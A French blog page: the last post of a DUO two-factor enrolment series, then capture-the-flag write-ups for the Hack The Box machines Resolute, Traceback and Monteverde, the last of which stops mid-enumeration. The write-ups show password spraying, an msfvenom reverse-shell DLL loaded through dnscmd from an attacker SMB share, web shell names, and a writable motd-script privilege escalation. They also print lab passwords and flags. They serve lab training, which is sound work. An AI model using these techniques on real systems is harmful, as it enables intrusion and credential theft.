17 Août

Double authentification (2FA) avec un Fortigate via LDAP(S) : DUO côté usager (4/4)

Suite et fin

Je voulais finalement terminer cette série d’articles en évoquant la phase d’enrôlement avec les différentes méthodes et quelques petites astuces.

Commençons succinctement par le côté « administrateur » de DUO puis nous enchaînerons sur les étapes d’enrôlement.

Administration DUO

Envoyer l’email pour l’enregistrement

Une fois le nouvel usager crée chez DUO, l’administrateur va devoir envoyer un courriel à ce dernier (prérequis) afin qu’il puisse enregistrer son équipement « 2FA ». Il suffit de cliquer sur le lien en haut à droite « Send Enrollment Email » :

A noter que l’unique expéditeur de ces emails est : no-reply@duosecurity.com

Le destinatairedevra éventuellement s’assurer que rien n’est dans ces emails indésirables.

Exemple d’email que va recevoir la personne avec un lien (flouté ici) :

Les groupes

Je vous invite à utiliser les groupes également, surtout si vous avez ou comptez l’utiliser pour un grand nombres d’utilisateurs de votre compagnie ou consultants externes.

En effet, cela vous permettra d’identifier rapidement les usagers d’une même entreprise voire d’une même équipe. Et surtout, vous serez en mesure de désactiver l’accès d’un coup à un groupe d’usagers en cas d’incident de sécurité par exemple, sans bloquer tout le monde.

L’enrôlement

Application DUO

L’usager sera guidé durant ce processus. une fois qu’il aura cliqué sur le lien contenu dans le courriel, voici les différentes étapes :

Début de la configuration

Choisir « Mobile phone » si on veut utiliser l’application DUO et recevoir des notifications « push » :

Choix de l’équipement

A noter que niveau expérience utilisateur, l’utilisation d’une application (DUO App.) est préférable. L’application DUO supporte Android 7.0 et supérieur, iOS 11.0 et supérieur, BlackBerry 10, et enfin BBOS 4.5.0 et supérieur.

L’usager doit rentrer un numéro valide

Ensuite l’usager doit choisir le modèle d’appareil pour installer l’application :

Choix du modèle de smartphone

L’utilisateur devra aller chercher l’application dans le magasin de son appareil et l’installer. Une fois cela fait, il devra le confirmer :

Confirmer que l’application est installée

Pour finaliser l’enrôlement de son appareil, il devra scanner le QR code depuis son application (+) :

Scanner le QR code depuis l’application DUO

En dernier lieu il devra confirmer la méthode de son choix pour valider le second facteur :

Méthode de validation du second facteur

Et c’est fini :

Fin du processus d’enrôlement

Sans l’application DUO

Si utilisateur n’est pas en mesure d’utiliser un téléphone intelligent ni même de recevoir des SMS, il pourra toujours choisir l’option autre afin de valider le second facteur par un appel téléphonique :

Option pour recevoir des appels

Choisir l’option d’appel :

Appel cet appareil

Lorsqu’il recevra les appels, il aura juste à appuyer sur n’importe quel touche du clavier pour valider le second facteur.

Téléphone (fixe / de bureau) avec extension

L’administrateur a également la possibilité d’enregistrer un numéro de téléphone qui comporte une extension pour le compte d’un utilisateur (ou il peut le faire lui-même lors de la phase d’enrôlement).

Voici un exemple ci-dessous, sur la fiche de l’utilisateur il faut ajouter un téléphone puis afficher le champ extension :

Afficher le champ « extension »

On rentre les informations et on ajoute le téléphone :

Ajouter le téléphone

Il est important ensuite d’augmenter le délai d’attente lorsque l’extension est composé (sur « 0 » par défaut). Sinon, l’utilisateur risque de ne pas recevoir l’appel et/ou n’aura pas le temps de valider. Et veiller à bien choisir le type « Landline » (par défaut) :

Enregistrer un téléphone qui comporte une extension

Donc si c’est l’utilisateur qui rentre lui-même sa ligne fixe et son extension, l’administrateur devra allonger ce délai d’attente pour lui, non visible lors de la phase d’enrôlement.

Autres possibilités de validation du 2FA

Une fois que l’utilisateur a enrôlé son appareil et choisi son mode de validation, ce dernier aura la possibilité d’en utiliser d’autres dans le champ « Mot de passe / Password ».

Par exemple, il pourra demander à être appelé au lieu de recevoir une notification « push » si cette dernière ne fonctionne plus. Il suffit pour cela d’ajouter le mot « ,phone » après le mot de passe, comme ceci :

Choisir un autre mode de validation

De la même manière, il pourra demander à recevoir une notification « push », en ajoutant cette fois le mot « ,push » après le mot de passe :

Recevoir une notification

Conclusion

Voilà, c’est terminé, j’espère avoir pu éclairer certaines personnes sur le sujet. Pour ma part, globalement, DUO est plutôt pratique, que ce soit côté administrateur ou utilisateur.

La mise en place du serveur Proxy DUO n’était pas trop compliqué et c’est fiable au quotidien. La maintenance n’est pas difficile, par contre, toujours s’assurer d’avoir deux serveurs en redondance.

N’hésitez pas à posez vos questions en commentaires si besoin, je me ferai un plaisir de vous répondre.

23 Avr

HTB – Resolute – Write-up

Introduction

Une machine virtuelle sympathique pour améliorer ses connaissances durant les phases d’énumération sous Windows. La partie exploitation est également très intéressante et nous montre de nouvelles techniques.

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.169
  • Nom de la VM = resolute.htb (par défaut chez HTB)

J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés.

Phase de reconnaissance

J’effectue un scan (TCP) complet de la machine virtuelle de cette manière :

nmap -A -T4 -sV -p1-65535 -Pn -n --stats-every 10 resolute.htb --min-rate 100 -oN nmap-resolute-complete.txt

Cela permet d’identifier tous les ports ouverts avec leurs services respectifs et c’est suffisamment rapide.

Voici la totalité des 24 ports (TCP) ouverts :

53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-21 21:13:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
51658/tcp open unknown

Je ne fais pas de scan des ports UDP.

Phase d’énumération 1/2

D’après les ports ouverts nous voyons qu’il s’agit un contrôleur de domaine. Nous allons tenter de chercher des utilisateurs du domaine MEGABANK.

Pour ce type de serveur, je mets systématiquement deux fichiers à jour : /etc/hosts et /etc/resolv.conf + un nptdate avec le serveur cela peut être utile si on doit jouer avec Kerberos. Et on valide également que le port UDP 123 est aussi ouvert :

root@HTB:~/HTB/Resolute# grep -iE '(megabank|10\.10\.10\.169)' /etc/hosts
10.10.10.169 resolute.htb MEGABANK.LOCAL
root@HTB:~/HTB/Resolute# grep -iE '(megabank|10\.10\.10\.169)' /etc/resolv.conf
search MEGABANK.LOCAL
nameserver 10.10.10.169
root@HTB:~/HTB/Resolute# ntpdate resolute.htb
22 Apr 16:57:56 ntpdate[42105]: step time server 10.10.10.169 offset +616.300705 sec

Nous pouvons interroger le service MS-RPC de Windows à travers Samba/RPC et une Null session avec enum4linux, on récupère une liste de 27 utilisateurs :

abigail Name: (null) Desc: (null)
Administrator Name: (null) Desc: Built-in account for administering the computer/domain
angela Name: (null) Desc: (null)
annette Name: (null) Desc: (null)
annika Name: (null) Desc: (null)
claire Name: (null) Desc: (null)
claude Name: (null) Desc: (null)
DefaultAccount Name: (null) Desc: A user account managed by the system.
felicia Name: (null) Desc: (null)
fred Name: (null) Desc: (null)
Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
gustavo Name: (null) Desc: (null)
krbtgt Name: (null) Desc: Key Distribution Center Service Account
marcus Name: (null) Desc: (null)
marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
melanie Name: (null) Desc: (null)
naoki Name: (null) Desc: (null)
paulo Name: (null) Desc: (null)
per Name: (null) Desc: (null)
ryan Name: Ryan Bertrand Desc: (null)
sally Name: (null) Desc: (null)
simon Name: (null) Desc: (null)
steve Name: (null) Desc: (null)
stevie Name: (null) Desc: (null)
sunita Name: (null) Desc: (null)
ulf Name: (null) Desc: (null)
zach Name: (null) Desc: (null)

On découvre rapidement le user marko avec un mot de passe Welcome123! qui bien-sûr ne fonctionne pas. Ma stratégie de base est toujours tester les accès suivants pour chacun des comptes :

  • mot de passe = username/logoname
  • mot de passe = vide
  • mot de passe = Welcome123! (suite à notre découverte)

Je vais construire un fichier users.txt contenant la liste des comptes et utiliser Metasploit avec le module smb_login, en modifiant quelques options :

msfconsole
use auxiliary/scanner/smb/smb_login
set blank_passwords true
set rhosts resolute.htb
set smbdomain MEGABANK
set smbpass Welcome123!
set user_as_pass true
set user_file users.txt
run
Metasploit va être utile pour identifier les couples user/mot de passe valides

Un premier accès valide est identifié avec le compte de melanie :

Un accès valide

Phase d’exploitation 1/2

Nous allons maintenant nous connecter au serveur et tenter obtenir un shell. Nous utiliserons l’outil Evil-WINRM qui offre beaucoup de fonctionnalités, cela fonctionne et nous obtenons le fichier user.txt :

evil-winrm -i resolute.htb -u melanie -p Welcome123!
Fichier user.txt atteint

Phase d’énumération 2/2

Avec cet utilisateur j’ai utilisé plusieurs outils afin d’automatiser la tâche comme WindowsEnum, Powerless and kerbrute mais je ne trouve rien.

Par contre, on découvre la présence d’un autre répertoire utilisateur, celui d’un certain Ryan

Sur le forum HackTheBox on parle de fichiers cachés… je décide de suivre cette voie, cela me permet d’en apprendre un peu plus sur PowerShell.

La commande suivante va nous aider :

Get-ChildItem . -Force

Rapidement on trouve un répertoire intéressant :

Tiens, un répertoire qui n’est pas commun…

Et en cherchant un peu on tombe sur un fichier texte qui ressemble à un fichier de log :

Hum, un fichier de log…

Bingo ! Le fichier contient les accès d’un second utilisateur, notre Ryan justement :

Deuxième accès utilisateur

Nous nous connectons à nouveau avec l’outil Evil-WINRM et ce compte, et on peut voir un groupe local intéressant auquel il appartient, DnsAdmins :

whoami /all
Ryan appartient au groupe DnsAdmins

Une simple recherche sur Internet avec les mots clés privilege escalation windows dnsadmins et on tombe sur cet article très instructif. Tous les détails dans ce second article.

Il semble possible d’executer du code, en l’occurence une dll, avec les droits du compte SYSTEM grâce au service dns.exe. Ce qui ne semble pas représenter une faille de sécurité pour Microsoft, seulement une mauvaise gestion des droits.

On va tenter cette méthode d’exploitation.

Phase d’exploitation 2/2

Il faut d’abord générer notre charge utile avec msfvenom (un fichier *.dll) :

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.19 LPORT=4444 --platform=windows -f dll > plugin.dll

Pour la suite j’utilise trois shell différents :

  • Un Shell pour un serveur SMB temporaire avec Impacket
  • Un Shell avec un listener pour obtenir un Reverse Shell avec Netcat
  • Un Shell pour injecter notre Payload et redémarrer le service dns

Voici la commande executée dans le troisième Shell pour injecter notre charge utile :

dnscmd.exe resolute /config /serverlevelplugindll \\10.10.14.19\SHARE\plugin.dll
Import réussi du fichier DLL

Et voici les trois fenêtres/Shell avec les différentes commandes executées, nous aboutissons au résultat voulu :

On lance le serveur SMB dans un shell :

cd /usr/share/doc/python3-impacket/examples/
./smbserver.py SHARE ~/HTB/Resolute/

Dans un second shell on lance un port en écoute pour le reverse shell :

nc -nlvp 4444

Et dans le dernier, on redémarre le service DNS :

sc.exe stop dns
sc.exe start dns
Nous sommes root.

Nous pouvons donc récuperer le fichier root.txt :

Conclusion

J’ai bien aimé cette VM, une de mes favorites pour l’instant avec Sauna. Cela ouvre d’autres voies d’explorations et d’élévations de privilèges.

Par contre, je suis toujours surpris par le classement des VM sur le niveau de difficulté. Sauna était plus difficile à mon sens. Après, cela dépend certainement des compétences/connaissances de chacun et des affinités que l’on a avec telle ou telle technologie.

20 Avr

HTB – Traceback – Write-up

Introduction

Traceback est une machine virtuelle Linux plutôt fun à faire, que ce soit pour la partie énumération que l’élévation des privilèges.

Pour ma part, j’ai appris à utiliser un nouvel outil pour arriver à mes fins.

La phase d’énumération sort un peu de l’ordinaire et nous force à nous creuser les méninges.

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.181
  • Nom de la VM = traceback.htb (par défaut chez HTB)

J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés. Nous utiliserons différentes techniques pour parvenir à nos fins.

Phase de reconnaissance

J’effectue un scan (TCP) complet de la machine virtuelle de cette manière :

nmap -A -T4 -sV -p1-65535 -Pn -n --stats-every 10 10.10.10.181 --min-rate 100 -oN nmap-traceback-complete.txt

On identifie ainsi rapidement tous les ports ouverts avec leurs services respectifs. Seulement deux ports (TCP) ouverts :

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Je n’effectue pas de scan des ports UDP.

Phase d’énumération 1/2

D’après les ports ouverts nous voyons qu’il s’agit d’un simple serveur Web. Une seule page Web accessible lors de la connexion :

Une simple page web avec une information utile…

Il semble y avoir une porte dérobée mais laquelle…

J’ai commencé par regarder le site Web en profondeur (fuzzing) avec différents outils et listes de mots mais sans succès…

Mais en regardant le code source de la page, on a un indice :

Un indice, un shell Web…

Du coup, j’ai fait une recherche sur Internet (Google) avec les mots clés web shells Xh4H (signature du message) et là on tombe sur la page GitHub de l’auteur (le premier lien). Puis avec une recherche sur la page (CTRL + F) avec le mot shell on a ce dépôt :

Et en bas de la page du dépôt on retrouve la fameuse citation, nous sommes sur la bonne piste :

La même citation que dans le code source de la page Web…

Je décide de créer ma propre liste de mots avec les pages présentes :

root@HTB:~/HTB/Traceback# cat wordlist.txt
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php

Puis je lance à nouveau une recherche avec l’outil DirSearch et cette fois on obtient un résultat prometteur :

Enfin on tient quelque chose !

Nous avons enfin accès à la porte dérobée :

La page smevk.php

Sur GitHub, le code source indique que par défaut les accès sont admin/admin :

admin / admin…

Effectivement, c’est bien ca 🙂

Nous sommes (enfin) connectés.

Nous pouvons constater que notre user s’appelle webadmin :

$ whoami
webadmin

Malheureusement, pas de fichier user.txt mais d’autres fichiers intéressants qui devraient nous aider pour la suite :

$ ls -la
total 44
drwxr-x--- 5 webadmin sysadmin 4096 Mar 16 04:03 .
drwxr-xr-x 4 root root 4096 Aug 25 2019 ..
-rw------- 1 webadmin webadmin 105 Mar 16 04:03 .bash_history
-rw-r--r-- 1 webadmin webadmin 220 Aug 23 2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23 2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23 2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Aug 24 2019 .local
-rw-rw-r-- 1 webadmin webadmin 1 Aug 25 2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin 807 Aug 23 2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Feb 27 06:29 .ssh
-rw-rw-r-- 1 sysadmin sysadmin 122 Mar 16 03:53 note.txt

Nous allons ajouter notre clé publique SSH sur le serveur. Pour cela, il suffit de se rendre dans le dossier /home/webadmin/.ssh puis d’éditer le fichier authorized_keys et de cliquer sur >> pour valider :

Ajoutons notre clé publique SSH

Il ne reste plus qu’à se connecter et à poursuivre nos recherches :

root@HTB:~/HTB/Traceback# ssh -i ~/.ssh/id_rsa webadmin@10.10.10.181
#
-------- OWNED BY XH4H ---------
I guess stuff could have been configured better ^^ -
#
Welcome to Xh4H land
Last login: Thu Feb 27 06:29:02 2020 from 10.10.14.3
webadmin@traceback:~$

Je m’intéresse toujours à l’historique des commandes Bash, il y a souvent des chose intéressantes, et c’est le cas ici avec le script luvit qui se lancerait avec les droits d’un second utilisateur, sysadmin :

webadmin@traceback:~$ cat .bash_history
ls -la
sudo -l
nano privesc.lua
sudo -u sysadmin /home/sysadmin/luvit privesc.lua
rm privesc.lua
logout

On a la confirmation avec le fichier note.txt :

webadmin@traceback:~$ cat note.txt
sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

Phase d’exploitation 1/2

Nous pouvons effectivement lancer le script, nous obtenons une sorte de Shell dédié au langage de script LUA :

webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvit
Welcome to the Luvit repl!
>

J’effectue des recherches sur Internet sur ce langage et je tombe sur ce cite : https://gtfobins.github.io/gtfobins/lua/. Il semble possible d’obtenir un Shell interactif.

Obtenir un Shell interactif avec LUA.

Effectivement, cela fonctionne, et nous obtenons les droits du second utilisateur sysadmin :

Et voilà, nous sommes sysadmin.

Il nous suffit là aussi d’ajouter notre clé publique SSH afin d’obtenir une connexion SSH confortable pour continuer l’énumération :

On ajoute notre clé SSH publique.

Parfait, cela fonctionne :

root@HTB:~/HTB/Traceback# ssh -i ~/.ssh/id_rsa sysadmin@10.10.10.181
#
-------- OWNED BY XH4H ---------
I guess stuff could have been configured better ^^ -
#
Welcome to Xh4H land
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Mar 16 03:50:24 2020 from 10.10.14.2
$ bash
sysadmin@traceback:~$

Nous pouvons obtenir le fichier user.txt, enfin :

sysadmin@traceback:~$ cat user.txt
4a3e8183cde813a34ffd94180e7e216a

Phase d’énumération 2/2

Je commence à faire le tour du propriétaire manuellement mais je ne trouve rien. Je décide d’utiliser le script LinEnum.sh mais sur le coup rien ne me saute aux yeux. Sur le forum de Hack the box je vois le nom d’un outil qui circule que je ne connaissais pas et décide de m’en servir : https://github.com/DominicBreuker/pspy.

Je le copie sur le serveur et l’exécute :

root@HTB:~/HTB/Traceback# scp -i ~/.ssh/id_rsa pspy64 sysadmin@10.10.10.181:pspy64

Après quelques secondes je vois un message apparaître :

Un script est lancé toutes les 30 secondes…

Pourquoi un script écraserait toutes les 30 secondes les bannières de connexion au shell (motd) ?… et là cela me donne idée ! Vérifier les droits que nous avons dans le répertoire /etc :

sysadmin@traceback:~$ find /etc/ -writable
find: ‘/etc/ssl/private’: Permission denied
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/80-esm

sysadmin@traceback:~$ ll /etc/update-motd.d/*
-rwxrwxr-x 1 root sysadmin 981 Apr 19 16:26 /etc/update-motd.d/00-header*
-rwxrwxr-x 1 root sysadmin 982 Apr 19 16:26 /etc/update-motd.d/10-help-text*
-rwxrwxr-x 1 root sysadmin 4264 Apr 19 16:26 /etc/update-motd.d/50-motd-news*
-rwxrwxr-x 1 root sysadmin 604 Apr 19 16:26 /etc/update-motd.d/80-esm*
-rwxrwxr-x 1 root sysadmin 299 Apr 19 16:26 /etc/update-motd.d/91-release-upgrade*

Bingo ! Nous pouvons écrire dans ces fichiers qui appartiennent à root. La suite est toute simple : modifier l’un de ces fichiers afin de pouvoir obtenir des accès privilégié. Mais il faudra faire vite !

Phase d’exploitation 2/2

Pour la phase d’exploitation j’ai ouvert quatre consoles avec pour chacune un accès Shell (SSH), comme ceci (vidéo de démonstration en dessous) :

  1. Un Shell qui surveille le processus de copie (en bas à droite)
  2. Un Shell pour copier le fichier root.txt (en bas à gauche)
  3. Un Shell qui surveille la copie du fichier (en haut à droite)
  4. Un shell qui va déclencher l’exploitation (en haut à gauche)

Et voilà, nous avons pu atteindre l’objectif 🙂

sysadmin@traceback:~$ cat root.txt
eacee4160b184a5937ce2ff366e08a00

Conclusion

Machine virtuelle sympathique donc qui change un peu de l’ordinaire, un vrai CTF finalement.

Pour ma part j’ai découvert un nouvel outil qui me servira pour la suite : pspy64 qui est bien fichu.

12 Avr

HTB – Monteverde – Write-up

Introduction

Une machine virtuelle relativement intéressante pour améliorer ses connaissances sur Windows, notamment Active Directory et Azure. En effet, je la trouve moins prenante que Sauna par exemple et surtout moins difficile. Pour moi, c’est une machine Easy et non Medium.

La phase d’énumération est simple et rapide sur cette machine. Ensuite, une fois identifié le profil de la VM, on s’oriente rapidement sur une piste pour arriver à nos fins

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.172
  • Nom de la VM = monteverde.htb (par défaut chez HTB)

J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés.

Phase de reconnaissance

J’effectue un scan (TCP) complet de la machine virtuelle de cette manière :

nmap -A -T4 -sV -p1-65535 -Pn -n --stats-every 10 10.10.10.172 --min-rate 100 -oN nmap-monteverde-complete.txt

Cela permet d’identifier tous les ports ouverts avec leurs services respectifs et c’est suffisamment rapide.

Voici la totalité des 20 ports (TCP) ouverts :

53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-07 01:01:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
49778/tcp open msrpc Microsoft Windows RPC

Parmi les ports ouverts nous avons le port TCP 5985 qui correspond à Windows Remote Management (WinRM), pour obtenir un shell.

Phase d’énumération 1/2

D’après les ports ouverts nous voyons qu’il s’agit un contrôleur de domaine. Nous allons tenter de chercher des utilisateurs du domaine.

Nous pouvons interroger le service MS-RPC de Windows à travers Samba et une Null session, on récupère de suite une liste d’utilisateurs :

root@HTB:~/HTB/Monteverde# rpcclient -U "" -N 10.10.10.172
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]

Par contre, rien d’intéressant avec Samba/SMB :

root@HTB:~/HTB/Monteverde# smbmap -H 10.10.10.172
[+] IP: 10.10.10.172:445 Name: monteverde
root@HTB:~/HTB/Monteverde#

Le compte « guest » est même désactivé :

root@HTB:~/HTB/Monteverde# smbclient -L 10.10.10.172 -U guest%
session setup failed: NT_STATUS_ACCOUNT_DISABLED

Nous allons vérifier rapidement si nous pouvons récupérer un premier accès utilisateur avec Metasploit. Avant cela, nous allons créer un fichier contenant nos utilisateurs :

root@HTB:~/HTB/Monteverde# cat users.txt
mhope
AAD_987d7f2f57d2
roleary
SABatchJobs
svc-ata
svc-bexec
svc-netapp
smorgan
dgalanos
Guest
Administrator
krbtgt

Ensuite, on lance Metasploit et on va utiliser le module smb_login avec les options suivantes modifiées :

msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > show options

Module options (auxiliary/scanner/smb/smb_login):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   ABORT_ON_LOCKOUT   false            yes       Abort the run when an account lockout is detected
   BLANK_PASSWORDS    true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED   5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS       false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS        false            no        Add all passwords in the current database to the list
   DB_ALL_USERS       false            no        Add all users in the current database to the list
   DETECT_ANY_AUTH    false            no        Enable detection of systems accepting any authentication
   DETECT_ANY_DOMAIN  false            no        Detect if domain is required for the specified user
   PASS_FILE                           no        File containing passwords, one per line
   PRESERVE_DOMAINS   true             no        Respect a username that contains a domain name.
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST       false            no        Record guest-privileged random logins to the database
   RHOSTS             10.10.10.172     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT              445              yes       The SMB service port (TCP)
   SMBDomain          .                no        The Windows domain to use for authentication
   SMBPass                             no        The password for the specified username
   SMBUser                             no        The username to authenticate as
   STOP_ON_SUCCESS    false            yes       Stop guessing when a credential works for a host
   THREADS            1                yes       The number of concurrent threads (max one per host)
   USERPASS_FILE                       no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS       true             no        Try the username as the password for all users
   USER_FILE          users.txt        no        File containing usernames, one per line
   VERBOSE            true             yes       Whether to print output for all attempts

Déjà un premier accès utilisateur disponible avec le compte SABatchJobs :

Un premier compte utilisateur identifié

Ce compte ne donne pas le droit d’obtenir un shell via le service WinRM avec l’outil Evil-WinRM :

Impossible d’avoir un shell avec le compte SABatchJobs

Voyons si on récupère plus d’informations avec ce compte, toujours avec le service MS-RPC de Windows. Mais cette fois on va s’aider d’un outil bien connu et déjà intégré à la distribution Kali, à savoir enum4linux :

root@HTB:~/HTB/Monteverde# enum4linux -a -u SABatchJobs -p SABatchJobs 10.10.10.172

On patiente un peu et on peut déjà obtenir certaines information comme le nom des groupes (notamment Azure Admins) ainsi qu’une liste de partages réseaux accessibles, là aussi avec une référence à Azure :

Partages réseaux
Groupes du domaine MEGABANK

Maintenant vérifions si on peut récupérer des informations intéressantes dans les dossiers identifiés précédemment avec smbclient. On obtient un fichier qui pourrait être utile dans l’un des dossiers utilisateurs :

On récupère le fichier azure.xml

Ce fichier contient un mot de passe en lien avec le produit Microsoft Azure, encore un indice comme le groupe que l’on a vu plus haut :

Clin d’oeil aux marins du 19ème siècle, payés un dollar par jour de labeur

Utilisons à nouveau Metasploit pour voir si ce mot de passe fonctionne avec l’un des autres comptes du domaine. Toujours avec le module smb_login mais cette fois on indique un mot de passe :

Module options (auxiliary/scanner/smb/smb_login):
msf5 auxiliary(scanner/smb/smb_login) > show options

Module options (auxiliary/scanner/smb/smb_login):

   Name               Current Setting     Required  Description
   ----               ---------------     --------  -----------
   ABORT_ON_LOCKOUT   false               yes       Abort the run when an account lockout is detected
   BLANK_PASSWORDS    false               no        Try blank passwords for all users
   BRUTEFORCE_SPEED   5                   yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS       false               no        Try each user/password couple stored in the current database
   DB_ALL_PASS        false               no        Add all passwords in the current database to the list
   DB_ALL_USERS       false               no        Add all users in the current database to the list
   DETECT_ANY_AUTH    false               no        Enable detection of systems accepting any authentication
   DETECT_ANY_DOMAIN  false               no        Detect if domain is required for the specified user
   PASS_FILE                              no        File containing passwords, one per line
   PRESERVE_DOMAINS   true                no        Respect a username that contains a domain name.
   Proxies                                no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST       false               no        Record guest-privileged random logins to the database
   RHOSTS             10.10.10.172        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT              445                 yes       The SMB service port (TCP)
   SMBDomain          .                   no        The Windows domain to use for authentication
   SMBPass            4n0therD4y@n0th3r$  no        The password for the specified username
   SMBUser                                no        The username to authenticate as
   STOP_ON_SUCCESS    false               yes       Stop guessing when a credential works for a host
   THREADS            1                   yes       The number of concurrent threads (max one per host)
   USERPASS_FILE                          no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS       false               no        Try the username as the password for all users
   USER_FILE          users.txt           no        File containing usernames, one per line
   VERBOSE            true                yes       Whether to print output for all attempts

Bingo, un nouvel utilisateur, mhope :

Deuxième compte de domaine identifié

Phase d’exploitation 1/2

Nous allons maintenant nous connecter au serveur et tenter obtenir un shell. Nous utiliserons à nouveau l’outil Evil-WINRM qui offre beaucoup de fonctionnalités, cette fois cela fonctionne :

root@HTB:~/HTB/Monteverde# evil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\mhope\Documents>

Nous pouvons obtenir le premier drapeau user.txt :

Evil-WinRM PS C:\Users\mhope\Documents> cd ../desktop
Evil-WinRM PS C:\Users\mhope\desktop> more user.txt
4961976bd7d8f4eeb2ce3705e2f212f2

Phase d’énumération 2/2

Ce compte va nous donner de nouveaux indices, notamment les groupes auxquels appartient l’utilisateur :

Evil-WinRM PS C:\Users\mhope\desktop> net user mhope
Ce compte appartient au groupe azure Admins, intéressant

Nous utilisons un nouvel outil pour faire une énumération en profondeur, WindowsEnum :

Evil-WinRM PS C:\Users\mhope\Documents> upload WindowsEnum.ps1
Info: Uploading WindowsEnum.ps1 to C:\Users\mhope\Documents\WindowsEnum.ps1
Data: 9492 bytes of 9492 bytes copied
Info: Upload successful!
Evil-WinRM PS C:\Users\mhope\Documents> powershell -nologo -executionpolicy bypass -file WindowsEnum.ps1 > WindowsEnum.txt

On récupère le fichier de sortie vers notre machine pour analyse. On découvre des programmes utilisés par notre administrateur mhope concernant Azure et notamment Azure AD Sync :

Liste des logiciels installés, dont certains pour Microsoft Azure

En analysant les applications et DLL présentes dans ce répertoire on tombe notamment sur le fichier mcrypt.dll :

Après quelques recherches sur Internet, on tombe rapidement sur ce site, qui nous explique tout : https://blog.xpnsec.com/azuread-connect-for-redteam/

